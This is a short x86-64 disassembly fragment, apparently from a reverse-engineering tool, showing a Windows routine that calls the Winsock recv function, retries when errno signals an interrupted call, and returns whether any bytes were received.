lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jns 0x14003ca37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14003ca10
mov rsi, qword [rsp + 0x40]
test ebx, ebx
mov rbx, qword [rsp + 0x30]
setg al
add rsp, 0x20
pop rdi
ret